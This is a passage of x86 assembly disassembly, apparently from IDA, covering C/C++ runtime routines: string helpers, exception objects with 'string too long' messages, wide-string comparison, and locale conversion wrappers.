XREF: sub_4261AB+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B202 pop ecx test eax, eax pop ecx jz loc_42620F mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4262DA: ; CODE XREF: sub_4261AB+F8j mov dword_4DB2A0, eax loc_4262DF: ; CODE XREF: sub_4261AB+F6j ; sub_4261AB+100j cmp [ebp+arg_4], 0 jz short loc_42632B push [ebp+arg_0] call sub_41AFE0 inc eax inc eax push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_42632B push [ebp+arg_0] push esi call sub_41BEB0 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi call near ptr 25E0000h nop push esi call sub_41B0B1 pop ecx loc_42632B: ; CODE XREF: sub_4261AB+6Ej ; sub_4261AB+104j ... xor eax, eax jmp loc_426212 sub_4261AB endp ; =============== S U B R O U T I N E ======================================= sub_426332 proc near ; CODE XREF: sub_4261AB+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4DB2A0 push edi mov eax, [esi] test eax, eax jz short loc_42636D mov edi, [esp+8+arg_4] loc_426344: ; CODE XREF: sub_426332+39j push edi push eax push [esp+10h+arg_0] call sub_425E56 add esp, 0Ch test eax, eax jnz short loc_426363 mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_42637D test al, al jz short loc_42637D loc_426363: ; CODE XREF: sub_426332+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426344 loc_42636D: ; CODE XREF: sub_426332+Cj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 neg eax loc_42637A: ; CODE XREF: sub_426332+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: sub_426332+2Bj ; sub_426332+2Fj mov eax, esi sub eax, dword_4DB2A0 sar eax, 2 jmp short loc_42637A sub_426332 endp ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: sub_4261AB+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426399 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426399: ; CODE XREF: sub_42638A+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_4263AB loc_4263A1: ; CODE XREF: sub_42638A+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_4263A1 loc_4263AB: ; CODE XREF: sub_42638A+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41B4D5 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4263CC push 9 call sub_41DA29 pop ecx loc_4263CC: ; CODE XREF: sub_42638A+38j mov eax, [edi] mov ebx, edi loc_4263D0: ; CODE XREF: sub_42638A+5Bj test eax, eax jz short loc_4263E7 push eax add ebx, 4 call sub_426464 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4263D0 ; --------------------------------------------------------------------------- loc_4263E7: ; CODE XREF: sub_42638A+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4263F1 proc near ; CODE XREF: sub_4261AB+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DC6DC, 0 jnz short loc_42640C push [ebp+arg_4] push [ebp+arg_0] call sub_41BFB0 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_42640C: ; CODE XREF: sub_4263F1+Aj mov ecx, [ebp+arg_0] loc_42640F: ; CODE XREF: sub_4263F1+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_426452 movzx edx, al test byte_4DC7E1[edx], 4 jz short loc_42643E mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426449 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_42644D jmp short loc_426446 ; --------------------------------------------------------------------------- loc_42643E: ; CODE XREF: sub_4263F1+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_426452 loc_426446: ; CODE XREF: sub_4263F1+4Bj inc ecx jmp short loc_42640F ; --------------------------------------------------------------------------- loc_426449: ; CODE XREF: sub_4263F1+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_42644D: ; CODE XREF: sub_4263F1+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_426452: ; CODE XREF: sub_4263F1+25j ; sub_4263F1+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4263F1 endp ; =============== S U B R O U T I N E ======================================= sub_426464 proc near ; CODE XREF: sub_417EEE+21p ; sub_42638A+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648B push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 pop ecx test eax, eax pop ecx jz short loc_42648B push esi push eax call sub_41BEB0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648B: ; CODE XREF: sub_426464+7j ; sub_426464+1Aj xor eax, eax pop esi retn sub_426464 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_426573+19p ; sub_42669A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41AFE0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D6EF mov eax, esi pop esi retn 8 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264BA proc near ; CODE XREF: ___:004264E5p ; sub_426568+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_40D6B3 mov ecx, esi pop esi jmp sub_4268B6 sub_4264BA endp ; =============== S U B R O U T I N E ======================================= sub_4264D5 proc near ; DATA XREF: ___:00427D10o ; ___:00427D20o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4264E1 mov eax, offset dword_4276A8 locret_4264E1: ; CODE XREF: sub_4264D5+5j retn sub_4264D5 endp ; --------------------------------------------------------------------------- loc_4264E2: ; DATA XREF: ___:off_427D0Co push esi mov esi, ecx call sub_4264BA test byte ptr [esp+8], 1 jz short loc_4264F8 push esi call sub_41CC83 pop ecx loc_4264F8: ; CODE XREF: ___:004264EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264FE proc near ; CODE XREF: sub_426573+29p mov eax, offset loc_426E32 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264FE endp ; =============== S U B R O U T I N E ======================================= sub_42654C proc near ; DATA XREF: ___:off_427D1Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426568 test [esp+4+arg_0], 1 jz short loc_426562 push esi call sub_41CC83 pop ecx loc_426562: ; CODE XREF: sub_42654C+Dj mov eax, esi pop esi retn 4 sub_42654C endp ; =============== S U B R O U T I N E ======================================= sub_426568 proc near ; CODE XREF: sub_42654C+3p ; DATA XREF: ___:00428094o mov dword ptr [ecx], offset off_427D1C jmp sub_4264BA sub_426568 endp ; =============== S U B R O U T I N E ======================================= sub_426573 proc near ; CODE XREF: sub_40D560+13p ; sub_40D724+Ep mov eax, offset loc_426E44 call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264FE push offset dword_428090 lea eax, [ebp-3Ch] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_426573 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p ; sub_4265D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D560 mov eax, esi pop esi retn 4 sub_4265B0 endp ; =============== S U B R O U T I N E ======================================= sub_4265D0 proc near ; CODE XREF: sub_42669A+29p mov eax, offset loc_426E56 call sub_41CC64 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427D28 call sub_42682F push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4265D0 endp ; =============== S U B R O U T I N E ======================================= sub_426618 proc near ; CODE XREF: sub_426682+7p ; sub_4266DE+7p ... mov eax, offset loc_426E68 call sub_41CC64 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42686C and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427D0C call sub_4265B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426618 endp ; =============== S U B R O U T I N E ======================================= sub_42665B proc near ; DATA XREF: ___:off_427D48o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426677 test [esp+4+arg_0], 1 jz short loc_426671 push esi call sub_41CC83 pop ecx loc_426671: ; CODE XREF: sub_42665B+Dj mov eax, esi pop esi retn 4 sub_42665B endp ; =============== S U B R O U T I N E ======================================= sub_426677 proc near ; CODE XREF: sub_42665B+3p ; DATA XREF: ___:0042813Co mov dword ptr [ecx], offset off_427D48 jmp sub_4264BA sub_426677 endp ; =============== S U B R O U T I N E ======================================= sub_426682 proc near ; CODE XREF: sub_4266F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D1C mov eax, esi pop esi retn 4 sub_426682 endp ; =============== S U B R O U T I N E ======================================= sub_42669A proc near ; CODE XREF: sub_40D4B0+15p ; sub_40D509+15p ... mov eax, offset loc_426E7A call sub_41CC64 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426490 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4265D0 push offset dword_428138 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D48 call sub_4268D9 int 3 ; Trap to Debugger sub_42669A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4266DE proc near ; CODE XREF: sub_4266F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426618 mov dword ptr [esi], offset off_427D48 mov eax, esi pop esi retn 4 sub_4266DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4266F6 proc near ; DATA XREF: ___:00427D14o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426618 push offset dword_428178 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426714: ; DATA XREF: ___:00427D50o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4266DE push offset dword_428138 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger loc_426732: ; DATA XREF: ___:00427D24o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426682 push offset dword_428090 lea eax, [ebp+var_1C] push eax call sub_4268D9 int 3 ; Trap to Debugger sub_4266F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426750 proc near nop jmp near ptr 71B2ACCBh sub_426750 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426756 proc near ; CODE XREF: sub_40CE40+5Ep ; ___:00414BE5p ... nop jmp near ptr 71AB1B7Bh sub_426756 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42675C proc near ; CODE XREF: sub_41C8D0+23p ; sub_41CB74+13p nop jmp near ptr 2870000h sub_42675C endp ; =============== S U B R O U T I N E ======================================= sub_426762 proc near ; CODE XREF: sub_417275+E2p ; sub_417275+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DB334, 0 push ebx jnz short loc_4267A8 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426774: ; CODE XREF: sub_426762+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426786 cmp bx, 41h jb short loc_426786 add ebx, 20h loc_426786: ; CODE XREF: sub_426762+19j ; sub_426762+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426798 cmp ax, 41h jb short loc_426798 add eax, 20h loc_426798: ; CODE XREF: sub_426762+2Bj ; sub_426762+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_4267D8 cmp bx, ax jz short loc_426774 jmp short loc_4267D8 ; --------------------------------------------------------------------------- loc_4267A8: ; CODE XREF: sub_426762+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_4267B2: ; CODE XREF: sub_426762+72j mov ax, [esi] inc esi push eax inc esi call sub_426913 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426913 pop ecx test bx, bx pop ecx jz short loc_4267D6 cmp bx, ax jz short loc_4267B2 loc_4267D6: ; CODE XREF: sub_426762+6Dj pop edi pop esi loc_4267D8: ; CODE XREF: sub_426762+3Dj ; sub_426762+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426762 endp ; =============== S U B R O U T I N E ======================================= sub_4267E2 proc near ; CODE XREF: ___:004267FAp mov dword ptr [ecx], offset off_427D68 mov ecx, [ecx+4] test ecx, ecx jz short locret_4267F6 push ecx call sub_41B0B1 pop ecx locret_4267F6: ; CODE XREF: sub_4267E2+Bj retn sub_4267E2 endp ; --------------------------------------------------------------------------- loc_4267F7: ; DATA XREF: ___:off_427D68o push esi mov esi, ecx call sub_4267E2 test byte ptr [esp+8], 1 jz short loc_42680D push esi call sub_41CC83 pop ecx loc_42680D: ; CODE XREF: ___:00426804j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_426813: ; DATA XREF: ___:off_427D70o push esi mov esi, ecx call sub_4268B6 test byte ptr [esp+8], 1 jz short loc_426829 push esi call sub_41CC83 pop ecx loc_426829: ; CODE XREF: ___:00426820j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp ; sub_4265D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 push dword ptr [edi] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42685E push dword ptr [edi] push eax call sub_41BEB0 pop ecx pop ecx loc_42685E: ; CODE XREF: sub_42682F+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42682F endp ; =============== S U B R O U T I N E ======================================= sub_42686C proc near ; CODE XREF: sub_426618+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D70 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4268A9 push dword ptr [edi+4] call sub_41AFE0 inc eax push eax call sub_41CFC5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4268AF push dword ptr [edi+4] push eax call sub_41BEB0 pop ecx pop ecx jmp short loc_4268AF ; --------------------------------------------------------------------------- loc_4268A9: ; CODE XREF: sub_42686C+16j mov eax, [edi+4] mov [esi+4], eax loc_4268AF: ; CODE XREF: sub_42686C+2Ej ; sub_42686C+3Bj mov eax, esi pop edi pop esi retn 4 sub_42686C endp ; =============== S U B R O U T I N E ======================================= sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j ; ___:00426816p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D70 jz short locret_4268CB push dword ptr [ecx+4] call sub_41CC83 pop ecx locret_4268CB: ; CODE XREF: sub_4268B6+Aj retn sub_4268B6 endp ; =============== S U B R O U T I N E ======================================= sub_4268CC proc near ; DATA XREF: ___:00427D74o mov eax, [ecx+4] test eax, eax jnz short locret_4268D8 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4268D8: ; CODE XREF: sub_4268CC+5j retn sub_4268CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268D9 proc near ; CODE XREF: sub_426573+37p ; sub_42669A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D90 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 26602EFh pop edi pop esi leave retn 8 sub_4268D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426913 proc near ; CODE XREF: sub_426762+56p ; sub_426762+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426925 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426925: ; CODE XREF: sub_426913+Bj cmp dword_4DB334, 0 jnz short loc_42693F cmp ax, 41h jb short locret_426986 cmp ax, 5Ah ja short locret_426986 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_42693F: ; CODE XREF: sub_426913+19j cmp ax, 100h jnb short loc_426959 push 1 push eax call sub_426BC1 pop ecx test eax, eax pop ecx jnz short loc_426959 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426959: ; CODE XREF: sub_426913+30j ; sub_426913+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DB334 call sub_426988 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426986 mov ax, [ebp+var_2] locret_426986: ; CODE XREF: sub_426913+1Fj ; sub_426913+25j ... leave retn sub_426913 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426988 proc near ; CODE XREF: sub_426913+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DB0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DB58C, esi jnz short loc_4269FE push esi push esi push 1 pop ebx push ebx push offset dword_427940 mov edi, 100h push edi push esi nop call near ptr 2650000h test eax, eax jz short loc_4269DC mov dword_4DB58C, ebx jmp short loc_4269FE ; --------------------------------------------------------------------------- loc_4269DC: ; CODE XREF: sub_426988+4Aj push esi push esi push ebx push offset dword_4CAE2C push edi push esi nop call near ptr 26513C8h test eax, eax jz loc_426B7D mov dword_4DB58C, 2 loc_4269FE: ; CODE XREF: sub_426988+2Ej ; sub_426988+52j cmp [ebp+arg_C], esi jle short loc_426A13 push [ebp+arg_C] push [ebp+arg_8] call sub_426B91 pop ecx pop ecx mov [ebp+arg_C], eax loc_426A13: ; CODE XREF: sub_426988+79j mov eax, dword_4DB58C cmp eax, 1 jnz short loc_426A3A push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2650000h nop jmp loc_426B7F ; --------------------------------------------------------------------------- loc_426A3A: ; CODE XREF: sub_426988+93j cmp eax, 2 jnz loc_426B7D cmp [ebp+arg_18], esi jnz short loc_426A50 mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_426A50: ; CODE XREF: sub_426988+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 28210C4h mov [ebp+var_20], eax cmp eax, esi jz loc_426B7D mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426A96 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426A96: ; CODE XREF: sub_426988+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 28210C4h test eax, eax jz loc_426B7D push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 26513C8h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426B7D mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426B19 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426B19: ; CODE XREF: sub_426988+17Dj cmp ebx, esi jz short loc_426B7D push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 26513C8h test eax, eax jz short loc_426B7D test byte ptr [ebp+arg_4+1], 4 jz short loc_426B57 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426B79 cmp eax, edi jl short loc_426B48 mov eax, edi loc_426B48: ; CODE XREF: sub_426988+1BCj push eax push ebx push [ebp+arg_10] call sub_41B5F0 add esp, 0Ch jmp short loc_426B79 ; --------------------------------------------------------------------------- loc_426B57: ; CODE XREF: sub_426988+1B1j cmp [ebp+arg_14], esi jnz short loc_426B60 push esi push esi jmp short loc_426B66 ; --------------------------------------------------------------------------- loc_426B60: ; CODE XREF: sub_426988+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426B66: ; CODE XREF: sub_426988+1D6j push edi push ebx push 1 push [ebp+arg_18] call near ptr 2830000h nop mov edi, eax cmp edi, esi jz short loc_426B7D loc_426B79: ; CODE XREF: sub_426988+1B8j ; sub_426988+1CDj mov eax, edi jmp short loc_426B7F ; --------------------------------------------------------------------------- loc_426B7D: ; CODE XREF: sub_426988+66j ; sub_426988+B5j ... xor eax, eax loc_426B7F: ; CODE XREF: sub_426988+ADj ; sub_426988+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426988 endp ; =============== S U B R O U T I N E ======================================= sub_426B91 proc near ; CODE XREF: sub_426988+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426BB0 loc_426BA1: ; CODE XREF: sub_426B91+1Dj cmp word ptr [eax], 0 jz short loc_426BB0 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426BA1 loc_426BB0: ; CODE XREF: sub_426B91+Ej ; sub_426B91+14j cmp word ptr [eax], 0 pop esi jnz short loc_426BBE sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426BBE: ; CODE XREF: sub_426B91+24j mov eax, edx retn sub_426B91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BC1 proc near ; CODE XREF: sub_426913+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426C01 cmp [ebp+arg_0], 100h jnb short loc_426BE5 movzx eax, [ebp+arg_0] mov ecx, off_43C2FC mov ax, [ecx+eax*2] jmp short loc_426C08 ; --------------------------------------------------------------------------- loc_426BE5: ; CODE XREF: sub_426BC1+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426C13 add esp, 18h test eax, eax jnz short loc_426C05 loc_426C01: ; CODE XREF: sub_426BC1+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426C05: ; CODE XREF: sub_426BC1+3Ej mov eax, [ebp+var_4] loc_426C08: ; CODE XREF: sub_426BC1+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426BC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C13 proc near ; CODE XREF: sub_426BC1+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427DC8 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB590 xor edi, edi cmp eax, edi jnz short loc_426C82 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi call near ptr 26100F0h nop test eax, eax jz short loc_426C60 mov eax, esi jmp short loc_426C7D ; --------------------------------------------------------------------------- loc_426C60: ; CODE XREF: sub_426C13+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push edi call near ptr 2620000h nop test eax, eax jz loc_426DC4 push 2 pop eax loc_426C7D: ; CODE XREF: sub_426C13+4Bj mov dword_4DB590, eax loc_426C82: ; CODE XREF: sub_426C13+2Fj cmp eax, 1 jnz short loc_426C9E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 26100F0h jmp loc_426DC6 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C13+72j cmp eax, 2 jnz loc_426DC4 cmp [ebp+arg_10], edi jnz short loc_426CB4 mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_426CB4: ; CODE XREF: sub_426C13+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 28210C4h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426DC4 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B590 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426D12 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426D12: ; CODE XREF: sub_426C13+EAj cmp [ebp+var_2C], edi jz loc_426DC4 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 28210C4h test eax, eax jz loc_426DC4 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426D67 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426D67: ; CODE XREF: sub_426C13+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426DC4 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426D7B mov eax, dword_4DB334 loc_426D7B: ; CODE XREF: sub_426C13+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 2620000h mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426DC4 cmp word ptr [esi], 0FFFFh jnz short loc_426DC4 push edi push ebx push [ebp+arg_C] call sub_41CC90 add esp, 0Ch 